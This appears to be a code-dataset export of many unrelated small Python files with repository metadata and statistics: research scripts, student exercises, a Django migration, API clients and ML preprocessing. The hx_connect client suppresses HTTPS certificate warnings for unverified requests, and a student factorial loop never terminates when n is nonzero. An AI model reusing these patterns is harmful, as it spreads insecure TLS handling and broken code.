... | 40 | 132 | 0.627551 | 231 | 1,960 | 5.238095 | 0.441558 | 0.109091 | 0.039669 | 0.049587 | 0.071074 | 0.05124 | 0 | 0 | 0 | 0 | 0 | 0.002805 | 0.272449 | 1,960 | 48 | 133 | 40.833333 | 0.845722 | 0 | 0 | 0.195122 | 0 | 0.02439 | 0.295918 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.121951 | null | null | 0.121951 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
24bc6b4cd14347eedefc9bb68cf2a421b898a7e5 | 3,745 | py | Python | dh_utils/tei/crit_app.py | andredelft/dh-utils | 6b4582de96de2e4a32e7b54ed850e03b888d353e | [
"MIT"
] | 1 | 2020-12-25T21:04:10.000Z | 2020-12-25T21:04:10.000Z | dh_utils/tei/crit_app.py | andredelft/dh-utils | 6b4582de96de2e4a32e7b54ed850e03b888d353e | [
"MIT"
] | null | null | null | dh_utils/tei/crit_app.py | andredelft/dh-utils | 6b4582de96de2e4a32e7b54ed850e03b888d353e | [
"MIT"
] | null | null | null | import os
from os import path
from lxml import etree
import regex
HERE = path.abspath(path.split(__file__)[0])
re_urn = regex.compile(r'^[^\.]+\.[^\.]+\.[^\-]+-([^\.]+)(?=\.xml$)')
with open(path.join(HERE, 'ca_template.xml')) as f:
template = f.read()
def parse_urn(fname):
match = re_urn.search(path.split(... | 34.357798 | 104 | 0.59466 | 533 | 3,745 | 4.041276 | 0.247655 | 0.022284 | 0.018106 | 0.020891 | 0.119777 | 0.060353 | 0.036212 | 0.021356 | 0.021356 | 0 | 0 | 0.005784 | 0.21522 | 3,745 | 108 | 105 | 34.675926 | 0.727118 | 0.031242 | 0 | 0.104651 | 0 | 0.034884 | 0.218292 | 0.115225 | 0 | 0 | 0 | 0 | 0 | 1 | 0.069767 | false | 0.151163 | 0.046512 | 0 | 0.174419 | 0.05814 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
24c7f1bdcfe648430d9c14026a33f9cb17ac0d97 | 153 | py | Python | exercicios/semana4/fatorial.py | marcoahansen/Python-Estudos | 3488361a49656d30de158aef028fef07cdacabc8 | [
"MIT"
] | null | null | null | exercicios/semana4/fatorial.py | marcoahansen/Python-Estudos | 3488361a49656d30de158aef028fef07cdacabc8 | [
"MIT"
] | null | null | null | exercicios/semana4/fatorial.py | marcoahansen/Python-Estudos | 3488361a49656d30de158aef028fef07cdacabc8 | [
"MIT"
] | null | null | null | n= int(input("Digite o valor de n: "))
sub = n - 1
fat = n
while n != 0:
while sub != 1:
fat = fat * sub
sub = sub -1
print(fat)
| 11.769231 | 38 | 0.477124 | 27 | 153 | 2.703704 | 0.481481 | 0.109589 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.041667 | 0.372549 | 153 | 12 | 39 | 12.75 | 0.71875 | 0 | 0 | 0 | 0 | 0 | 0.137255 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.125 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
24d446002db0e1837a9b4c45c2da9c3780b29b8c | 204 | py | Python | examples/addition.py | markgacoka/codepropertygraph | f03beb0a224c9e718df21e34dc52ddb9242eaa5a | [
"Apache-2.0"
] | 4 | 2022-02-04T17:59:39.000Z | 2022-02-15T21:23:01.000Z | examples/addition.py | markgacoka/codepropertygraph | f03beb0a224c9e718df21e34dc52ddb9242eaa5a | [
"Apache-2.0"
] | 1 | 2022-02-05T08:47:58.000Z | 2022-02-05T08:47:58.000Z | examples/addition.py | markgacoka/codepropertygraph | f03beb0a224c9e718df21e34dc52ddb9242eaa5a | [
"Apache-2.0"
] | null | null | null | def addition(x: int, y: int) -> int:
"""Adds two integers together and returns the result."""
return x + y
if __name__ == '__main__':
a, b = 1, 2
result = addition(a, b)
print(result) | 25.5 | 60 | 0.593137 | 31 | 204 | 3.645161 | 0.709677 | 0.035398 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013245 | 0.259804 | 204 | 8 | 61 | 25.5 | 0.735099 | 0.245098 | 0 | 0 | 0 | 0 | 0.053691 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0 | 0 | 0.333333 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
24d72b15d55481159b26a390d7be00c9fd5fd96c | 418 | py | Python | tests/radiotherm/test_get_thermostat_class.py | trisk/radiotherm | 5d664fc698fa822d165af60c239d0f4ec8e95db9 | [
"BSD-3-Clause"
] | null | null | null | tests/radiotherm/test_get_thermostat_class.py | trisk/radiotherm | 5d664fc698fa822d165af60c239d0f4ec8e95db9 | [
"BSD-3-Clause"
] | null | null | null | tests/radiotherm/test_get_thermostat_class.py | trisk/radiotherm | 5d664fc698fa822d165af60c239d0f4ec8e95db9 | [
"BSD-3-Clause"
] | null | null | null | from tests.base_test_case import BaseTestCase
import radiotherm
from radiotherm.thermostat import CT50v194
class TestGetThermostatClass(BaseTestCase):
def test_class_exists(self):
ret = radiotherm.get_thermostat_class('CT50 V1.94')
self.assertEqual(ret, CT50v194)
def test_class_does_not_exist(... | 32.153846 | 59 | 0.758373 | 52 | 418 | 5.865385 | 0.538462 | 0.045902 | 0.078689 | 0.131148 | 0.229508 | 0.229508 | 0 | 0 | 0 | 0 | 0 | 0.057307 | 0.165072 | 418 | 12 | 60 | 34.833333 | 0.816619 | 0 | 0 | 0 | 0 | 0 | 0.047847 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.2 | false | 0 | 0.3 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
24e1f7a77fa3ed585f3540c818e9eb6a891dbd40 | 1,562 | py | Python | Python/search-in-a-sorted-array-of-unknown-size.py | RideGreg/LeetCode | b70818b1e6947bf29519a24f78816e022ebab59e | [
"MIT"
] | 1 | 2022-01-30T06:55:28.000Z | 2022-01-30T06:55:28.000Z | Python/search-in-a-sorted-array-of-unknown-size.py | RideGreg/LeetCode | b70818b1e6947bf29519a24f78816e022ebab59e | [
"MIT"
] | null | null | null | Python/search-in-a-sorted-array-of-unknown-size.py | RideGreg/LeetCode | b70818b1e6947bf29519a24f78816e022ebab59e | [
"MIT"
] | 1 | 2021-12-31T03:56:39.000Z | 2021-12-31T03:56:39.000Z | '''
Given a sorted array of unknown length and a number to search for, return the index of the number in the array. Accessing an element out of bounds throws exception. If the number occurs multiple times, return the index of any occurrence. If it isn’t present, return -1.
int a[] = {1,2,3,4,5,6,7,8};
Find Value: 6
R... | 24.030769 | 269 | 0.585787 | 200 | 1,562 | 4.575 | 0.42 | 0.030601 | 0.030601 | 0.034973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031079 | 0.299616 | 1,562 | 64 | 270 | 24.40625 | 0.805302 | 1.03073 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
24e8599040bd625a1fdbf10002c7a1005a111840 | 581 | py | Python | CS3/0350_attack_optimization/draft03/bullet.py | nealholt/python_programming_curricula | eda4432dab97178b4a5712b160f5b1da74c068cb | [
"MIT"
] | 7 | 2020-10-14T03:23:12.000Z | 2022-03-09T23:16:13.000Z | CS3/0350_attack_optimization/draft00/bullet.py | nealholt/python_programming_curricula | eda4432dab97178b4a5712b160f5b1da74c068cb | [
"MIT"
] | null | null | null | CS3/0350_attack_optimization/draft00/bullet.py | nealholt/python_programming_curricula | eda4432dab97178b4a5712b160f5b1da74c068cb | [
"MIT"
] | 11 | 2021-02-21T20:50:56.000Z | 2022-01-29T07:01:28.000Z | import pygame, physics_object
white = 255,255,255
class Bullet(physics_object.PhysicsObject):
#Create a bullet
def __init__(self, screen, x, y, angle):
#8 is the radius, 0 is the rotation rate
super().__init__(x, y, 8, angle, 0)
self.screen = screen
#Bullet speed
self.s... | 27.666667 | 86 | 0.63167 | 80 | 581 | 4.4625 | 0.4875 | 0.084034 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.039352 | 0.256454 | 581 | 20 | 87 | 29.05 | 0.787037 | 0.180723 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.083333 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
24f2238a71b41a3cf953a4a2bca8808add807096 | 4,533 | py | Python | helpers/data_preprocessor.py | burnpiro/wod-usage-predictor | b251772efafc2fe49982f809f0e8f218109aba41 | [
"MIT"
] | null | null | null | helpers/data_preprocessor.py | burnpiro/wod-usage-predictor | b251772efafc2fe49982f809f0e8f218109aba41 | [
"MIT"
] | 9 | 2020-04-17T16:37:01.000Z | 2020-04-29T22:02:14.000Z | helpers/data_preprocessor.py | burnpiro/wod-usage-predictor | b251772efafc2fe49982f809f0e8f218109aba41 | [
"MIT"
] | null | null | null | import numpy as np
from sklearn.model_selection import KFold
from helpers.preprocessing_helper import *
LSTM_STEP = 1
LSTM_FUTURE_TARGET = 1
LSTM_HISTORY = 6
TRAIN_DATASET_FRAC = 0.8
def generate_lstm_data(path, cols=FULL_DATA, target_column=TARGET_COLUMN, norm_cols=NORM_COLS,
history_size=LS... | 43.171429 | 120 | 0.695566 | 653 | 4,533 | 4.6049 | 0.229709 | 0.023279 | 0.024942 | 0.021284 | 0.281676 | 0.224476 | 0.176255 | 0.156967 | 0.142335 | 0.142335 | 0 | 0.005114 | 0.223472 | 4,533 | 105 | 121 | 43.171429 | 0.849148 | 0.363556 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0.055556 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
24f25c57b8bb0bfb56704acd7657eae18f9fe600 | 158 | py | Python | algorithm/greedy/[pr]untilOne.py | hyorard-b/TIL | e62da2c110823e4287e0170c2a7b1fe8fbd18aa6 | [
"MIT"
] | null | null | null | algorithm/greedy/[pr]untilOne.py | hyorard-b/TIL | e62da2c110823e4287e0170c2a7b1fe8fbd18aa6 | [
"MIT"
] | null | null | null | algorithm/greedy/[pr]untilOne.py | hyorard-b/TIL | e62da2c110823e4287e0170c2a7b1fe8fbd18aa6 | [
"MIT"
] | null | null | null | N, K = list(map(int, input().split(' ')))
cnt = 0
while True:
if N == 1:
break;
if N % K == 0:
N /= K
else:
N -= 1
cnt += 1
print(cnt) | 12.153846 | 41 | 0.436709 | 28 | 158 | 2.464286 | 0.571429 | 0.086957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04902 | 0.35443 | 158 | 13 | 42 | 12.153846 | 0.627451 | 0 | 0 | 0 | 0 | 0 | 0.006289 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
24fbc81fa10cee90ce12cedc8ae3cb921f0938fa | 587 | py | Python | src/run_job.py | pwcz/CSV-Analysis | e623dd8165efc300685d1addc77f1f16612780c0 | [
"MIT"
] | null | null | null | src/run_job.py | pwcz/CSV-Analysis | e623dd8165efc300685d1addc77f1f16612780c0 | [
"MIT"
] | null | null | null | src/run_job.py | pwcz/CSV-Analysis | e623dd8165efc300685d1addc77f1f16612780c0 | [
"MIT"
] | null | null | null | import time
import importlib
import configparser
from pyspark.sql import SparkSession
CONFIG = configparser.ConfigParser()
CONFIG.read("config.ini")
def run_job():
""" Main function excecuted by spark-submit command"""
spark = SparkSession.builder.appName(CONFIG["spark"]["app_name"]).getOrCreate()
job_... | 23.48 | 83 | 0.715503 | 76 | 587 | 5.263158 | 0.5 | 0.045 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002 | 0.148211 | 587 | 24 | 84 | 24.458333 | 0.798 | 0.080068 | 0 | 0 | 0 | 0 | 0.217636 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.333333 | 0 | 0.4 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
7001824f89f13dd9145c91723924ed1259ee25f4 | 281 | py | Python | Source/uis/menu/__init__.py | LucXyMan/starseeker | b5c3365514c982734da7d95621e6b85af550ce82 | [
"BSD-3-Clause"
] | null | null | null | Source/uis/menu/__init__.py | LucXyMan/starseeker | b5c3365514c982734da7d95621e6b85af550ce82 | [
"BSD-3-Clause"
] | null | null | null | Source/uis/menu/__init__.py | LucXyMan/starseeker | b5c3365514c982734da7d95621e6b85af550ce82 | [
"BSD-3-Clause"
] | 1 | 2019-11-27T18:00:00.000Z | 2019-11-27T18:00:00.000Z | #!/usr/bin/env python2.7
# -*- coding:UTF-8 -*-2
u"""menu.__init__.py
Copyright (c) 2019 Yukio Kuro
This software is released under BSD license.
メニュー画面パッケージ。
"""
import customize as __customize
import result as __result
Customize = __customize.Customize
Result = __result.Result
| 20.071429 | 44 | 0.758007 | 40 | 281 | 5.025 | 0.75 | 0.179104 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032787 | 0.131673 | 281 | 13 | 45 | 21.615385 | 0.790984 | 0.540925 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
700739da8acad6aa8980a6e3c4f8789a7fd3afce | 2,063 | py | Python | create_metadata.py | achabotl/datasette-ripgrep-ets | f18a20b400e6098afe96c0791428f173955083f5 | [
"BSD-3-Clause"
] | 1 | 2021-02-04T07:09:50.000Z | 2021-02-04T07:09:50.000Z | create_metadata.py | achabotl/datasette-ripgrep-ets | f18a20b400e6098afe96c0791428f173955083f5 | [
"BSD-3-Clause"
] | null | null | null | create_metadata.py | achabotl/datasette-ripgrep-ets | f18a20b400e6098afe96c0791428f173955083f5 | [
"BSD-3-Clause"
] | 1 | 2021-04-05T13:16:06.000Z | 2021-04-05T13:16:06.000Z | from datetime import datetime
import os
import pytz
from pytz import timezone
project_urls = {}
projects = os.listdir('all')
for project in projects:
git_config = os.path.join('all', project, '.git', 'config')
with open(git_config, encoding='utf-8') as f:
for line in f:
if line.strip().sta... | 31.738462 | 182 | 0.631604 | 281 | 2,063 | 4.580071 | 0.459075 | 0.034965 | 0.02331 | 0.021756 | 0.063714 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004144 | 0.181289 | 2,063 | 64 | 183 | 32.234375 | 0.757845 | 0 | 0 | 0.090909 | 0 | 0.054545 | 0.632089 | 0.0984 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.072727 | 0 | 0.072727 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
700d26a16221d13acd88289d29a9a7d78612ee5a | 2,085 | py | Python | dt-bench/dist-dnn.py | cyliustack/scout | 5c3a7e0938a2b69d596d0fab0a0d39b91230961d | [
"Apache-2.0"
] | null | null | null | dt-bench/dist-dnn.py | cyliustack/scout | 5c3a7e0938a2b69d596d0fab0a0d39b91230961d | [
"Apache-2.0"
] | 2 | 2017-12-05T09:05:29.000Z | 2018-01-04T15:44:42.000Z | dt-bench/dist-dnn.py | cyliustack/scout | 5c3a7e0938a2b69d596d0fab0a0d39b91230961d | [
"Apache-2.0"
] | 4 | 2017-11-20T12:36:40.000Z | 2019-06-24T13:45:09.000Z | #!/usr/bin/python
import numpy as np
import csv
import json
import sys
import argparse
import multiprocessing as mp
import subprocess
import glob, os
from functools import partial
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
... | 28.175676 | 94 | 0.628297 | 275 | 2,085 | 4.661818 | 0.425455 | 0.031201 | 0.070203 | 0.065523 | 0.112324 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047995 | 0.210552 | 2,085 | 73 | 95 | 28.561644 | 0.730863 | 0.021583 | 0 | 0 | 0 | 0 | 0.209519 | 0.042198 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.155172 | null | null | 0.241379 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7012cb4af380d0a33e152018972318ab14cbe02b | 1,523 | py | Python | examples/pcba/pcba_tf.py | ozgurozkan123/deepchem | 7b6248db5f7172ff2a833a1c7c99f48565befe67 | [
"MIT"
] | 14 | 2017-10-12T23:47:23.000Z | 2022-02-09T13:13:51.000Z | examples/pcba/pcba_tf.py | ozgurozkan123/deepchem | 7b6248db5f7172ff2a833a1c7c99f48565befe67 | [
"MIT"
] | 2 | 2017-08-02T20:35:13.000Z | 2017-08-10T21:17:31.000Z | examples/pcba/pcba_tf.py | ozgurozkan123/deepchem | 7b6248db5f7172ff2a833a1c7c99f48565befe67 | [
"MIT"
] | 5 | 2017-03-19T01:48:13.000Z | 2019-02-22T01:12:03.000Z | """
Script that trains Tensorflow multitask models on PCBA dataset.
"""
from __future__ import print_function
from __future__ import division
from __future__ import unicode_literals
import os
import numpy as np
import shutil
from pcba_datasets import load_pcba
from deepchem.utils.save import load_from_disk
from deepch... | 27.196429 | 81 | 0.80499 | 199 | 1,523 | 5.874372 | 0.407035 | 0.071856 | 0.041061 | 0.042772 | 0.073567 | 0.073567 | 0 | 0 | 0 | 0 | 0 | 0.009665 | 0.116875 | 1,523 | 55 | 82 | 27.690909 | 0.85948 | 0.053841 | 0 | 0 | 0 | 0 | 0.032798 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.341463 | 0 | 0.341463 | 0.121951 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
7025551518d1a03a85812325733177dd1da4a5e5 | 770 | py | Python | users/migrations/0005_auto_20200405_2036.py | Hamifthi/gym-app | 514d7efa4f7777ab9d2e0481311c1c15542756c1 | [
"MIT"
] | null | null | null | users/migrations/0005_auto_20200405_2036.py | Hamifthi/gym-app | 514d7efa4f7777ab9d2e0481311c1c15542756c1 | [
"MIT"
] | 4 | 2021-03-30T12:49:27.000Z | 2021-06-10T18:27:47.000Z | users/migrations/0005_auto_20200405_2036.py | Hamifthi/gym-app | 514d7efa4f7777ab9d2e0481311c1c15542756c1 | [
"MIT"
] | null | null | null | # Generated by Django 3.0.3 on 2020-04-05 16:06
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('users', '0004_auto_20200405_1220'),
]
operations = [
migrations.RemoveField(
model_name='athlete',
name='last_paymen... | 24.0625 | 50 | 0.555844 | 73 | 770 | 5.684932 | 0.534247 | 0.086747 | 0.125301 | 0.144578 | 0.424096 | 0.240964 | 0.240964 | 0.240964 | 0.240964 | 0 | 0 | 0.060311 | 0.332468 | 770 | 31 | 51 | 24.83871 | 0.747082 | 0.058442 | 0 | 0.64 | 1 | 0 | 0.147994 | 0.031812 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.04 | 0 | 0.16 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7028d3d733ce056f6aaa40e0bebbc58e9c544ae9 | 1,619 | py | Python | system/help/topics/command.py | UltrosBot/Ultros | 639efc11f73ebf7e8f47f0554aced00a559d9e2d | [
"Artistic-2.0"
] | 16 | 2015-01-02T00:16:11.000Z | 2019-06-03T06:23:11.000Z | system/help/topics/command.py | UltrosBot/Ultros | 639efc11f73ebf7e8f47f0554aced00a559d9e2d | [
"Artistic-2.0"
] | 31 | 2015-01-18T12:14:53.000Z | 2018-01-07T13:32:29.000Z | system/help/topics/command.py | UltrosBot/Ultros | 639efc11f73ebf7e8f47f0554aced00a559d9e2d | [
"Artistic-2.0"
] | 9 | 2015-02-13T09:38:53.000Z | 2020-11-29T19:59:32.000Z | # coding=utf-8
__author__ = 'Gareth Coles'
from system.help.topics.generic import Topic
from system.enums import HelpTopicType
class CommandTopic(Topic):
command = ""
plugin = ""
syntax = ""
usage = ""
def __init__(self, command, plugin, syntax, usage):
self.syntax = syntax
self... | 22.178082 | 76 | 0.575664 | 170 | 1,619 | 5.235294 | 0.335294 | 0.062921 | 0.067416 | 0.107865 | 0.147191 | 0.147191 | 0.147191 | 0.119101 | 0.085393 | 0 | 0 | 0.000891 | 0.30698 | 1,619 | 72 | 77 | 22.486111 | 0.792335 | 0.007412 | 0 | 0.12 | 0 | 0 | 0.066044 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.18 | false | 0 | 0.04 | 0.12 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
7029d9ba062be94f26cc27b7644ca118a7675a68 | 3,437 | py | Python | hx_connect.py | clintmann/hx_connect | 093f456ba721b2af1172b6562d94f3af226c197d | [
"MIT"
] | 1 | 2018-12-16T17:00:48.000Z | 2018-12-16T17:00:48.000Z | hx_connect.py | clintmann/hx_connect | 093f456ba721b2af1172b6562d94f3af226c197d | [
"MIT"
] | 1 | 2021-06-01T22:05:48.000Z | 2021-06-01T22:05:48.000Z | hx_connect.py | clintmann/hx_connect | 093f456ba721b2af1172b6562d94f3af226c197d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import json
import os
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# ** FIX THIS
# Suppress the InsecureRequestWarning: Unverified HTTPS request
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Get user provided information from ... | 29.127119 | 71 | 0.66977 | 432 | 3,437 | 5.108796 | 0.291667 | 0.064794 | 0.029905 | 0.032623 | 0.337562 | 0.256004 | 0.144993 | 0.110557 | 0.081559 | 0.081559 | 0 | 0.00562 | 0.223451 | 3,437 | 117 | 72 | 29.376068 | 0.821281 | 0.159441 | 0 | 0.22973 | 0 | 0 | 0.175139 | 0.016713 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.040541 | 0.054054 | null | null | 0.067568 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
704bddf00b38c272c70a5c9eea599404226bb9b8 | 572 | py | Python | 02-Demarrer/01.py | gruiick/openclassrooms-py | add4b28eab8b311dea7c1d3915a22061f54326a9 | [
"BSD-2-Clause"
] | null | null | null | 02-Demarrer/01.py | gruiick/openclassrooms-py | add4b28eab8b311dea7c1d3915a22061f54326a9 | [
"BSD-2-Clause"
] | null | null | null | 02-Demarrer/01.py | gruiick/openclassrooms-py | add4b28eab8b311dea7c1d3915a22061f54326a9 | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python3
# coding: utf-8
# PSMN: $Id: 01.py 1.2 $
# SPDX-License-Identifier: CECILL-B OR BSD-2-Clause
""" https://github.com/OpenClassrooms-Student-Center/demarrez_votre_projet_avec_python/
fouiller dans les branches
"""
# P2C2
quotes = [
"Ecoutez-moi, Monsieur Shakespeare, nous avons beau être o... | 20.428571 | 92 | 0.66958 | 79 | 572 | 4.797468 | 0.936709 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019608 | 0.197552 | 572 | 27 | 93 | 21.185185 | 0.8061 | 0.393357 | 0 | 0 | 0 | 0 | 0.668657 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
704c5b0b9eec2acc5df36e2c4ed4c994f0d69c21 | 6,264 | py | Python | furs_fiscal/connector.py | boris-savic/python-furs-fiscal | e4e6a8c5625a9bb24e20366c5c04379a4d419c1f | [
"MIT"
] | 38 | 2015-10-19T19:59:35.000Z | 2021-09-17T13:22:10.000Z | furs_fiscal/connector.py | boris-savic/python-furs-fiscal | e4e6a8c5625a9bb24e20366c5c04379a4d419c1f | [
"MIT"
] | 10 | 2015-11-12T00:50:21.000Z | 2017-05-08T08:32:27.000Z | furs_fiscal/connector.py | boris-savic/python-furs-fiscal | e4e6a8c5625a9bb24e20366c5c04379a4d419c1f | [
"MIT"
] | 17 | 2015-11-11T19:02:48.000Z | 2021-05-03T18:26:43.000Z | import tempfile
import requests
from OpenSSL import crypto
from jose import jws
requests.packages.urllib3.disable_warnings()
FURS_TEST_ENDPOINT = 'https://blagajne-test.fu.gov.si:9002'
FURS_PRODUCTION_ENDPOINT = 'https://blagajne.fu.gov.si:9003'
